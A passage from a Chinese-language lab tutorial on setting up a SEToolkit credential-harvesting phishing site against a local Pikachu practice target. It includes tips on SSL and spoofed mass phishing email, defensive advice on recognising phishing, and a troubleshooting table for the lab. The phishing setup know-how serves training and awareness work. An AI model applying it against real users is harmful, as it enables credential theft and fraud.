高级选项解析在克隆网站的过程中或之前SEToolkit提供了一些可配置项端口设置默认使用80端口。如果80端口被占用你可以在启动SET前通过修改配置文件或使用其他工具如netcat转发端口但更简单的方法是在选择“凭证收割攻击”后它有时会提示你是否使用SSL/自定义端口。对于内部测试用80端口最简单。SSL证书SEToolkit可以生成自签名的SSL证书从而提供HTTPS的钓鱼链接https://...。这会让钓鱼网站看起来更“可信”因为浏览器地址栏会有一个锁的图标尽管会显示证书不安全。在高级菜单中可以配置。Java Applet 与 Metasploit 集成除了凭证收割SET的其他攻击向量如Java Applet攻击可以与Metasploit框架结合在受害者访问页面时尝试利用其浏览器或插件的漏洞从而获得一个反向Shell远程控制会话。这属于更高级的攻击需要更复杂的环境配置和漏洞利用知识。邮件群发功能SEToolkit另一个强大的功能是邮件钓鱼。它可以伪造发件人发送包含钓鱼链接的邮件给目标列表。这需要你配置一个SMTP服务器如Gmail的SMTP但需要应用专用密码。切记未经授权对他人发送钓鱼邮件是违法行为。5.2 如何识别与防范钓鱼网站作为防御方了解攻击手法后我们可以总结出一些识别和防范钓鱼网站的实用技巧仔细检查URL这是最直接的方法。钓鱼网站的域名往往与真实网站相似但不同可能使用错别字如g00gle.com、不同顶级域如.comvs.net或子域名混淆。在本次实验中我们的钓鱼网站URL是纯IP地址 (http://192.168.1.105)而真实网站是带路径的 (http://192.168.1.105/pikachu/login.php)这在实际攻击中不常见攻击者会尽量让域名看起来逼真。查看网站安全证书对于HTTPS网站点击地址栏的锁图标查看证书详情。检查证书是否由受信任的机构颁发以及证书颁发的域名是否与当前访问的域名完全一致。自签名证书或域名不匹配的证书是危险信号。审视网站内容与设计虽然克隆技术可以做得非常像但细微的差别可能存在如图片模糊、链接指向错误、排版轻微错乱等。多留个心眼。不轻易点击邮件中的链接对于声称来自银行、社交平台、公司IT部门的邮件尤其是要求你“立即验证账户”、“点击链接更新信息”的要保持高度警惕。手动输入官网地址或从书签访问而不是点击邮件中的链接。使用密码管理器好的密码管理器如Bitwarden、1Password通常具有“自动填充”功能但它们只会对保存过密码的特定域名自动填充。如果你访问的是一个从未保存过密码的“新”域名即使是看起来相似的钓鱼站密码管理器不会自动填充这可以作为一个警示。启用多因素认证即使密码被窃取如果账号开启了多因素认证MFA如短信验证码、认证器AppGoogle Authenticator, Microsoft Authenticator或硬件安全密钥攻击者依然无法登录。这为账户安全增加了一道至关重要的防线。安全意识培训对于企业而言定期对员工进行社会工程学和安全意识培训至关重要。通过模拟钓鱼演练让员工亲身体验并学习如何识别钓鱼攻击。5.3 从本次实验中学到的关键点回顾整个项目我们不仅仅是学会了SEToolkit的几个命令更重要的是理解了社会工程学攻击的一个完整链条侦察攻击者需要选择一个目标如Pikachu靶场。武器化制作攻击载荷在这里就是克隆一个钓鱼网站。投递通过某种方式让受害者访问钓鱼网站实验中是我们主动访问现实中可能是邮件、短信、社交消息等。利用利用人的心理弱点信任、疏忽、恐惧、贪婪使其执行操作输入凭据。安装捕获敏感信息凭据。命令与控制攻击者从后台获取数据。行动利用窃取的凭据进行后续攻击登录真实系统。理解这个链条类似于洛克希德·马丁的“杀伤链”模型能帮助我们从更高维度思考防御策略而不仅仅是关注某个具体的技术点。6. 常见问题与排查技巧实录在实际操作中你几乎一定会遇到一些问题。下面是我在多次搭建类似环境时踩过的坑和解决方案希望能帮你快速排雷。问题现象可能原因排查与解决步骤访问http://[Kali-IP]显示Apache默认页而非钓鱼页。端口冲突。Kali自带的Apache服务 (apache2) 占用了80端口SET启动的服务无法绑定。1. 停止Apache服务sudo systemctl stop apache2。2. 重启SEToolkit并重新配置钓鱼攻击。3. 或者在SET中尝试使用其他端口如8080但需要确保靶机访问时带上端口号http://[Kali-IP]:8080。SEToolkit克隆网站时卡住或报错“无法连接”。1. 输入的URL错误或不可访问。2. 网络问题Kali无法访问目标URL尤其是外网。3. 目标网站有反爬机制。1.首先检查URL确保在Kali终端里能用curl或wget访问到目标URL例如curl -I http://192.168.1.105/pikachu/login.php。2.使用本地靶场对于学习和测试强烈建议克隆本地网络内的目标如我们搭建的Pikachu避免网络波动和外部限制。3. 如果必须克隆外网站确保Kali网络通畅并注意法律边界。受害者提交表单后SEToolkit后台没有捕获到数据。1. 表单提交方式不是POST可能是GET。SET默认主要处理POST。2. 钓鱼页面表单的action修改未生效。3. 防火墙阻止了数据回传。1. 检查原网站表单的method。SET对GET方式支持可能不完善。2. 查看钓鱼页面源代码确认form action...是否指向了你的Kali IP如http://[Kali-IP]/post.php。3. 关闭Kali的防火墙临时测试sudo ufw disable测试完记得开启sudo ufw enable。4. 在SET运行终端查看是否有错误输出。受害者点击登录后页面报错或空白没有重定向到真实网站。1. 重定向配置错误。2. 真实网站地址不可达。3. SET的post.php脚本执行出错。1. 检查钓鱼页面源代码中的隐藏字段original_site值是否正确。2. 确保真实网站如Pikachu服务正常运行且受害者网络可访问。3. 这通常不影响凭证捕获数据可能已经记录。去/root/.set/reports/下查看日志文件确认。无法在物理机靶机上访问Kali的钓鱼网站。1. 网络模式不对如Kali是NAT模式。2. 物理机和Kali不在同一网段。3. Kali防火墙阻止了80端口入站连接。1.将Kali虚拟机网络适配器设置为桥接模式并重启网络服务或虚拟机。2. 在物理机和Kali上分别执行ipconfig(Windows) /ifconfig(Linux) 命令查看IP地址是否在同一网段如都是192.168.1.x。3. 临时关闭Kali防火墙sudo ufw disable。或者放行80端口sudo ufw allow 80/tcp。Pikachu靶场初始化安装失败或无法连接数据库。1. MySQL/MariaDB服务未启动。2. 数据库配置信息 (config.inc.php) 错误。3. 数据库用户权限不足。1. 启动数据库服务sudo systemctl start mariadb(或mysql)。2. 检查/var/www/html/pikachu/inc/config.inc.php文件确保数据库主机、用户名、密码与创建时一致如dbhostlocalhost,dbuserpikachu,dbpwdpikachu,dbnamepikachu。3. 登录MySQL确认用户和权限sudo mysql -u root -p然后执行SELECT Host, User FROM mysql.user;和SHOW GRANTS FOR pikachulocalhost;。最后再分享一个小技巧在实验过程中多开几个终端标签页非常有用。一个用来运行SEToolkit一个用来监控捕获的日志 (tail -f)一个用来管理服务启停Apache/MySQL还有一个用来进行网络测试ping,curl。这样信息一目了然排查问题效率倍增。这套环境搭建和测试流程本质上是一个微型的“红队”攻击模拟。理解它不仅能让你掌握SEToolkit这个工具更能让你建立起社会工程学攻击与防御的立体认知。记住所有技术都应在合法、合规和道德的前提下使用用它们来加固你的系统而不是去破坏。